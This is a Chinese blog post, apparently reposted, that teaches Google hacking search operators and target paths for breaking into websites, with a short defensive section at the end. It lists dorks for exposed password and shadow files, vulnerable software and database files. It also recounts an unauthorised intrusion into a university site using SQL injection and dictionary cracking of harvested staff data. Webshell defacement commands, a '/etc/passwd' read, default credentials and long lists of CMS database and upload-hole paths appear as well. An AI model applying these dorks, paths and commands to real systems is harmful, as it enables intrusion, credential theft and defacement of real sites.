比较详细的一份Google hacking语法 Google黑客

比较详细的一份Google hacking语法 Google黑客

Google Hacking语法
Google hacker (Google黑客)是利用GOOGLE提供的搜索功能查找黑客们想找到的信息.一般是查找网站后台,网管的个人信息,也可以用来查找某人在网络上的活动.
Google hacker 一般是做为黑客在入侵时的一个手段.在入侵过程中有时需要查找后台的登陆口就需要用到GOOGLE HACKER.有时猜解密码的时候google也是提供查找管理员资料的有效平台.
下面就来介绍一些常用的语法:
intext:
这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含”动网”的网页.allintext:使用方法和intext类似.
intitle:
和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含”安全天使”的网页.同理allintitle:也同intitle类似.
cache:
搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.
define:
搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义.
filetype:
这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入:filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富。
info:
查找指定站点的一些基本信息.
inurl:
搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接:http://www.xxx.com/xxx/admin,用来找管理员登陆的URL不错.allinurl也同inurl类似,可指定多个字符.
link:
例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了链接的URL.
site:
这个也很有用,例如:site:www.4ngel.net.将返回所有和4ngel.net这个站有关的URL.
对了还有一些操作符也是很有用的:

把google可能忽略的字列如查询范围
– 把某个字忽略
~ 同意词
. 单一的通配符

通配符,可代表多个字母

“” 精确查询

下面开始说说实际应用,对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了.而google正因为其强大的搜索能力往往会把一些敏感信息透露给他们.用google搜索以下内容:

intitle:”index of” etc

intitle:”Index of” .sh_history

intitle:”Index of” .bash_history

intitle:”index of” passwd

intitle:”index of” people.lst

intitle:”index of” pwd.db

intitle:”index of” etc/shadow

intitle:”index of” spwd

intitle:”index of” master.passwd

intitle:”index of” htpasswd

“# -FrontPage-” inurl:service.pwd

有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的.

同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,我们可以用google来找网上使用这套程序的站点:

intext:ZeroBoard filetype:php

或者使用:

inurl: outlogin.php?_zb_path= site:.jp

来寻找我们所需要的页面.phpmyadmin是一套功能强大的数据库操作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进行操作.我们可以用google搜索存在这样漏洞的程序URL:

intitle:phpmyadmin intext:Create new database

还记得http://www.xxx.com/_vti_bin/..%5C..%5C….m32/cmd.exe?dir吗?用google找找,你也许还可以找到很多古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。

allinurl:winnt system32

前面我们已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件等等).举个例子示例一下:

allinurl:bbs data

filetype:mdb inurl:database

filetype:inc conn

inurl:data filetype:mdb

intitle:”index of” data //在一些配置不正确的apache+win32的服务器上经常出现这种情况

和上面的原理一样,我们还可以用google来找后台,方法就略了,举一反三即可,毕竟我写这篇文章的目的是让大家了解google hacking,而不是让你用google去破坏.安全是把双刃剑,关键在于你如何去运用.

利用google完全是可以对一个站点进行信息收集和渗透的,下面我们用google对特定站点进行一次测试。www.xxxx.com是全国著名大学之一,一次偶然的机会我决定对其站点进行一次测试(文中所涉及该学校的信息均已经过处理,请勿对号入座.

首先用google先看这个站点的一些基本情况(一些细节部分就略去了):

site:xxxx.com

从返回的信息中,找到几个该校的几个系院的域名:

http://a1.xxxx.com

http://a2.xxxx.com

http://a3.xxxx.com

http://a4.xxxx.com

顺便ping了一下,应该是在不同的服务器.学校一般都会有不少好的资料,先看看有什么好东西没:

site:xxxx.com filetype:doc

得到N个不错的doc。先找找网站的管理后台地址:

site:xxxx.com intext:管理

site:xxxx.com inurl:login

site:xxxx.com intitle:管理

超过获得2个管理后台地址:

http://a2.xxxx.com/sys/admin_login.asp

http://a3.xxxx.com:88/_admin/login_in.asp

还算不错,看看服务器上跑的是什么程序:

site:a2.xxxx.com filetype:asp

site:a2.xxxx.com filetype:php

site:a2.xxxx.com filetype:aspx

site:a3.xxxx.com filetype:asp

site:…….

……

a2服务器用的应该是IIS,上面用的是asp的整站程序,还有一个php的论坛

a3服务器也是IIS,aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的:

site:a2.xxxx.com intext:ftp://:

没找到什么有价值的东西。再看看有没有上传一类的漏洞:

site:a2.xxxx.com inurl:file

site:a3.xxxx.com inurl:load

在a2上发现一个上传文件的页面:

http://a2.xxxx.com/sys/uploadfile.asp

用IE看了一下,没权限访问。试试注射,

site:a2.xxxx.com filetype:asp

得到N个asp页面的地址,体力活就让软件做吧,这套程序明显没有对注射做什么防范,dbowner权限,虽然不高但已足矣,back a shell我不太喜欢,而且看起来数据库的个头就不小,直接把web管理员的密码暴出来再说,MD5加密过。一般学校的站点的密码都比较有规律,通常都是域名+电话一类的变形,用google搞定吧。

site:xxxx.com //得到N个二级域名

site:xxxx.com intext:@xxxx.com //得到N个邮件地址,还有邮箱的主人的名字什么的

site:xxxx.com intext:电话 //N个电话 把什么的信息做个字典吧,挂上慢慢跑。过了一段时间就跑出4个帐号,2个是学生会的,1个管理员,还有一个可能是老师的帐号。登陆上去:

name:网站管理员

pass:a2xxxx7619 //说了吧,就是域名+4个数字

google hack其实也都差不多是一些基本语法的灵活运用,或者配合某个脚本漏洞,主要还是靠个人的灵活思维。

国外对于google hack方面的防范也并不是很多,所以大家还是点到为止,不要去搞破坏拉,呵呵。

对于一些在win上跑 apache的网管们应该多注意一下这方面,一个intitle:index of就差不多都出来了 echo “召唤” > index.jsp 现在看看首页,已经被我们改成: “召唤” 了。 我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > index.html or echo “”> file echo “test” >> file 这样一条条打出来,站点首页就成功被替换了。

同样的也可以 uname -a;cat /etc/passwd 不过有点要注意,有些WEBSHELL程序有问题,执行不了的,

2.搜索INC敏感信息

在google的搜索框中填入: Code: .org filetype:inc

例:常用的google关键字: foo1 foo2 (也就是关联,比如搜索xx公司 xx美女)

operator:foo filetype:123 类型

site:foo.com 相对直接看网站更有意思,可以得到许多意外的信息

intext:foo intitle: fooltitle 标题哦 allinurl:foo 搜索xx网站的所有相关连接。(踩点必备)

links:foo 不要说就知道是它的相关链接

allintilte:foo.com 我们可以辅助”-” “+”来调整搜索的精确程度 直接搜索密码:(引号表示为精确搜索) 当然我们可以再延伸到上面的结果里进行二次搜索 “index of” htpasswd / passwd filetype:xls username password email “ws_ftp.log” “config.php” allinurl:admin mdb service filetype:pwd ….或者某个比如pcanywhere的密码后缀cif等 越来越有意思了,

再来点更敏感信息 “robots.txt” “Disallow:” filetype:txt inurl:_vti_cnf (FrontPage的关键索引啦,扫描器的CGI库一般都有地)

allinurl: /msadc/Samples/selector/showcode.asp /../../../passwd /examples/jsp/snp/snoop.jsp phpsysinfo intitle:index of /admin intitle:”documetation” inurl: 5800(vnc的端口)

或者desktop port等多个关键字检索 webmin port 10000 inurl:/admin/login.asp intext: Powered by GBook365 intitle:”php shell” “Enable stderr” filetype:php 直接搜索到phpwebshell

foo.org filetype:inc

ipsec filetype:conf

intilte:”error occurred” ODBC request where (select|insert) 说白了就是说,可以直接试着查查数据库检索,针对目前流行的sql注射,会发达哦

“Dumping data for table” username password

intitle:”Error using Hypernews”

“Server Software”

intitle:”HTTP_USER_AGENT=Googlebot”

“HTTP_USER_ANGET=Googlebot” THS ADMIN

filetype:.doc site:.mil classified 直接搜索军方相关word

检查多个关键字:

intitle:config confixx login password

“mydomain.com” nessus report

“report generated by”

“ipconfig”

“winipconfig”

google缓存利用(hoho,最有影响力的东西)推荐大家搜索时候多”选搜索所有网站”

特别推荐:administrator users 等相关的东西,比如名字,生日等……最惨也可以拿来做字典嘛

一些技巧集合:

1) index.of.password

1) filetype:blt “buddylist”

2) “access denied for user” “using password”

2) intitle:”index of” inurl:ftp (pub | incoming)

3) “http://:@www” domainname

3) filetype:cnf inurl:_vti_pvt access.cnf

4) auth_user_file.txt

4) allinurl:”//_vti_pvt/” | allinurl:”//_vti_cnf/”

5) The Master List

5) inurl:”install/install.php”

6) allinurl: admin mdb

6) intitle:”welcome.to.squeezebox”

7) passlist.txt (a better way)

7) intext:””BiTBOARD v2.0″ BiTSHiFTERS Bulletin Board”

8) “A syntax error has occurred” filetype:ihtml

8) intitle: Login intext:”RT is ? Copyright”

9) “# -FrontPage-” inurl:service.pwd

9) ext:php program_listing intitle:MythWeb.Program.Listing

10) ORA-00921: unexpected end of SQL command

10) intitle:index.of abyss.conf

关于google hacking的防范

晓风·残月写过一篇躲避google的文章,原理就是通过在站点根目录下建立一个robots.txt以避免网络机器人获得一些敏感的信息,具体大家看原文章:

http://www.ttian.net/article/show.php?id=154

再有简单一点的方法就是上google把自己站点的一些信息删除掉,访问这个URL:

http://www.google.com/remove.html

有人讨论用程序来欺骗robot的方法,大家也可以试试,代码如下:

 if (strstr($_SERVER[‘HTTP_USER_AGENT’], “Googlebot”))
 {
 header(“HTTP/1.1 301”);
 header(“Location: http://www.google.com“);
 }
 ?>

GOOGLE HACK 2
inurl: 用于搜索网页上包含的URL. 这个语法对寻找网页上的搜索,帮助之类的很有用.
intext: 只搜索网页部分中包含的文字(也就是忽略了标题,URL等的文字).
site: 可以限制你搜索范围的域名.
filetype: 搜索文件的后缀或者扩展名
intitle: 限制你搜索的网页标题.
allintitle: 搜索所有关键字构成标题的网页. 但是推荐不要使用
link: 可以得到一个所有包含了某个指定URL的页面列表. 例如link:www.google.com 就可以得到所有连

接到Google的页面.不用担心

intext:管理
filetype:mdb
inurl:file
site:xx.com filetype:txt 查找TXT文件 其他的依次内推
site:xx.com intext:管理
site:xx.com inurl:login
site:xx.com intitle:后台
查看服务器使用的程序
site:xx.com filetype:asp
site:xx.com filetype:php
site:xx.com filetype:jsp
查看上传漏洞:
site:xx.com inurl:file
site:xx.com inurl:load
查找注射点:
site:xx.com filetype:asp
site:tw inurl:asp?id= 这个是找台湾的

site:jp inurl:asp?id= 这个是找日本的

site:ko inurl:asp?id= 这个是找韩国的
依次类推
intitle:旁注- 网站xxxfiletype:asp
inurl:editor/db/
inurl:eWebEditor/db/
inurl:bbs/data/
inurl:databackup/
inurl:blog/data/
inurl:okedata
inurl:bbs/database/
inurl:conn.asp
inc/conn.asp
管理入口:
admin
admin_index
admin_admin
index_admin
admin/index
admin/default
admin/manage
admin/login
manage_index
index_manage
superadmin
说明.txt
manager/login
manager/login.asp
manager/admin.asp
login/admin/admin.asp
houtai/admin.asp
guanli/admin.asp
denglu/admin.asp
admin_login/admin.asp
admin_login/login.asp
admin/manage/admin.asp
admin/manage/login.asp
admin/default/admin.asp
admin/default/login.asp
member/admin.asp
member/login.asp
administrator/admin.asp
administrator/login.asp
强大的数据库:
database/PowerEasy4.mdb #动易网站管理系统4.03数据库
database/PowerEasy5.mdb
database/PowerEasy6.mdb
database/PowerEasy2005.mdb
database/PowerEasy2006.mdb
database/PE_Region.mdb
data/dvbbs7.mdb #动网论坛数据库
databackup/dvbbs7.mdb #动网论坛备份数据库
bbs/databackup/dvbbs7.mdb #动网论坛备份数据库
data/zm_marry.asp #动网sp2美化版数据库
databackup/dvbbs7.mdb
admin/data/qcdn_news.mdb #青创文章管理系统数据库
firend.mdb #交友中心数据库
database/newcloud6.mdb #新云管理系统6.0数据库
database/%23newasp.mdb #新云网站系统
blogdata/L-BLOG.mdb #L-BLOG v1.08数据库
blog/blogdata/L-BLOG.mdb #L-BLOG v1.08数据库
database/bbsxp.mdb #BBSXP论坛数据库
bbs/database/bbsxp.mdb #BBSXP论坛数据库
access/sf2.mdb #雪人论坛程序v2.0数据库
data/Leadbbs.mdb #LeadBBS论坛 v3.14数据库
bbs/Data/LeadBBS.mdb #LeadBBS论坛 v3.14数据库
bbs/access/sf2.mdb #雪人论坛程序v2.0数据库
fdnews.asp #六合专用BBS数据库
bbs/fdnews.asp #六合专用BBS数据库
admin/ydxzdate.asa #雨点下载系统 v2.0+sp1数据库
data/down.mdb #动感下载系统xp ver2.0数据库
data/db1.mdb #动感下载系统xp v1.3数据库
database/Database.mdb #轩溪下载系统 v3.1数据库
db/xzjddown.mdb #lhdownxp下载系统数据库
db/play.asp #娱乐先锋论坛 v3.0数据库
mdb.asp #惊云下载系统 v1.2数据库
admin/data/user.asp #惊云下载系统 v3.0数据库
data_jk/joekoe_data.asp #乔客6.0数据库
data/news3000.asp #沸腾展望新闻系统 v1.1数据库
data/appoen.mdb #惠信新闻系统4.0数据库
data/12912.asp #飞龙文章管理系统 v2.1数据库
database.asp #动感极品下载管理系统 v3.5
download.mdb #华仔软件下载管理系统 v2.3
dxxobbs/mdb/dxxobbs.mdb #dxxobbs论坛数据库
db/6k.asp #6kbbs 用户名:admin 密码:6kadmin
database/snowboy.mdb #雪孩论坛 默认后台admin/admin_index.asp
database/%23mmdata.mdb #依爽社区
editor/db/ewebeditor.mdbeWebEditor/db/ewebeditor.mdb
上穿漏洞:
/eWebEditor/upload.asp #eWebEditor上传页面
/editor/upload.asp #eWebEditor上传页面
/bbs/upfile.asp #动网论坛上传页面
/forum/upfile.asp #动网论坛上传页面
/dvbbs/upfile.asp #动网论坛上传页面
/upfile_soft.asp #动力管理系统上传页面
/upload.asp?action=upfile #乔客6.0上传页面
/upfile.asp #动网论坛上传页面
/bbs/down_addsoft.asp #动网论坛插件上传页面
/bbs/down_picupfile.asp #动网论坛插件上传页面
/down_picupload.asp #动网论坛插件上传页面
/admin/admin_upfile.asp #管理员后台上传页面
/admin/upfile.asp #管理员后台上传页面
/admin/upload.asp #管理员后台上传页面
/admin/uploadfaceok.asp #尘缘上传页面
/news/admin/upfile.asp #新闻管理上传页面
/admin_upfile.asp #飞龙文章管理系统 v2.0
/user_upfile.asp #飞龙文章管理系统 v2.0
/upload_flash.asp #秋叶购物商城上传页面
/Saveannounce_upload.asp #购物中心上传页面
/UploadFace.asp #沸腾展望新闻系统 v1.1
/bbs/diy.asp #Domian3.0默认木马
/UploadSoft/diy.asp #Domian3.0默认木马
/diy.asp #Domian3.0默认木马
/upload/upload.asp #某某文章管理系统
/mybbs/saveup.asp #MYBBS论坛上传页面
/dxxobbs/upload.asp #DxxoBBS论坛上传页面
/img_upfile.asp #任我飞扬驿站上传页面
/Upfile_SoftPic.asp #动力管理系统上传页面
/upfile_flash.asp #秋叶购物商城上传页面
PHP的:
phpmyadmin
include/config.inc.php
include/config.php
lib/config.php
首先打http://www.baidu.com,在关键词输入框中输入index of mp3,选择回车搜索,得到了一些网页,
不要以为这是一些普通的页面,其实它们是一些mp3网站的资源列表,点击打开它来看看,怎么样?是不是所有资源一收眼底了?
以下是百度搜索排名
index of mpeg4

  1. index of mp3
  2. index of rmvb
  3. index of rm
  4. index of movie
  5. index of swf
  6. index of jpg
  7. index of admin
  8. index of pdf
  9. index of doc
  10. index of wmv
  11. index of mdb
  12. index of mpg
  13. index of mtv
  14. index of software
  15. index of mov
  16. index of asf
  17. index of lib
  18. index of vod
  19. index of rar
  20. index of exe
  21. index of iso
  22. index of video
  23. index of book
  24. index of soft
  25. index of chm
  26. index of password
  27. index of game
  28. index of music
  29. index of dvd
  30. index of mid
  31. index of ebook
  32. index of download

此文章来源于
http://www.ddosi.org/2017/10/06/google-hacking-2/
2018年以前网站服务器的备份,当时决定不要了,删了所有东西,现在还原一下(有些图片挂了,永远找不回来了,sorry)

Google hack 获得Trello面板中的大量敏感信息

Google hack 查询注入点 批量搜索存在安全隐患的站点

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注